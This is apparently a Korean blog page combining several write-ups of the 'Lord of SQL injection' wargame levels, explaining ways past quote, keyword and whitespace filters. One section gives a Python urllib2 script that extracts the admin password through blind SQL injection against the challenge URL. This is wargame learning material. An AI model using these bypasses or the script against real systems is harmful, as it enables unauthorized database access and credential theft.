succubus문제의 핵심은 preg_match의 싱글쿼터 필터링이다. 

이전 문제는 ereg의 싱글쿼터 필터링으로 %00(Null문자)를 이용해서 우회했는데 이번에는 어떤 방식으로 우회를 해야할까? 

\  <-- 문자를 싱글쿼터 앞에 써주면 싱글쿼터가 문자열로 인식되기 때문에 문자열 형태로 id에 들어가게 된다. 

후에 아래와 같이 where문을 참으로 바꿔주면 Clear! 

주의할 점은 \에 이어서 문자가들어오면 \도 문자로 인식하기 때문에 &이나 &&을 사용해야한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29
15.los zombie_assassin  (0) 2018.03.27
14.los assassin  (0) 2018.03.27
13.los bugbear  (0) 2018.03.22


이번에는 id만 체크하는데 preg_match와 ereg라는 문자열 매칭 함수가 있다. preg_match는 대소문자를 구분하고  i를 붙여주면 대소문자를 구분없이 매칭된다. ereg는 대소문자 구분을 하기 때문에 한글자라도 대문자를 써주면 다른 문자열로 인식해서 함수를 우회할 수 있다. 그리고 데이터베이스의 charset에 따라서 대소문자 구분의 여부가 달라진다. 



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

10.los skelleton  (0) 2018.03.22
09.los vampire  (0) 2018.03.22
07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21


역시 pw를 알아내야하는 블라인드 인젝션문제이다. 이전의 블라인드 인젝션 문제와 다른점이 있다면,

or과 and에 필터링이 걸려 있다는 것. and같은 경우에는 url안에서 &기호 대신에 url인코딩에 따라 url에 %26으로 입력해 줘야한다.


or필터링 우회 : ||

and필터링 우회 : %26%26(&&)



아래의 그림과 같이 and를 %26%26으로 입력해준 후 length(pw)='@ <--임의의 숫자를 대입해봄

pw는 8자리라는 것을 알 수 있었다.




아래와 같이 substr()함수를 이용해서 임의의 값을 넣어 한자리씩 총 8자리의 pw를 알아내면 된다.





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=4uocr6djjqvf1pi7bsgemnha36'} 

result=[]

for j in range(1,2):

for i in range(48,123):

urL="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))


print result


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21


preg_match에서 공백을 필터링하고 있다. 그래서 간단하게 공백으로빼고 ||로 이어주었다.

이 외의 방법으로 공백이 필터링 되어있을 때 대신할 수 있는 것은 

1. TAB :  %09

2. \n : %0a

3. \r : %0d

등.. 으로 필터링을 우회한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20

+ Recent posts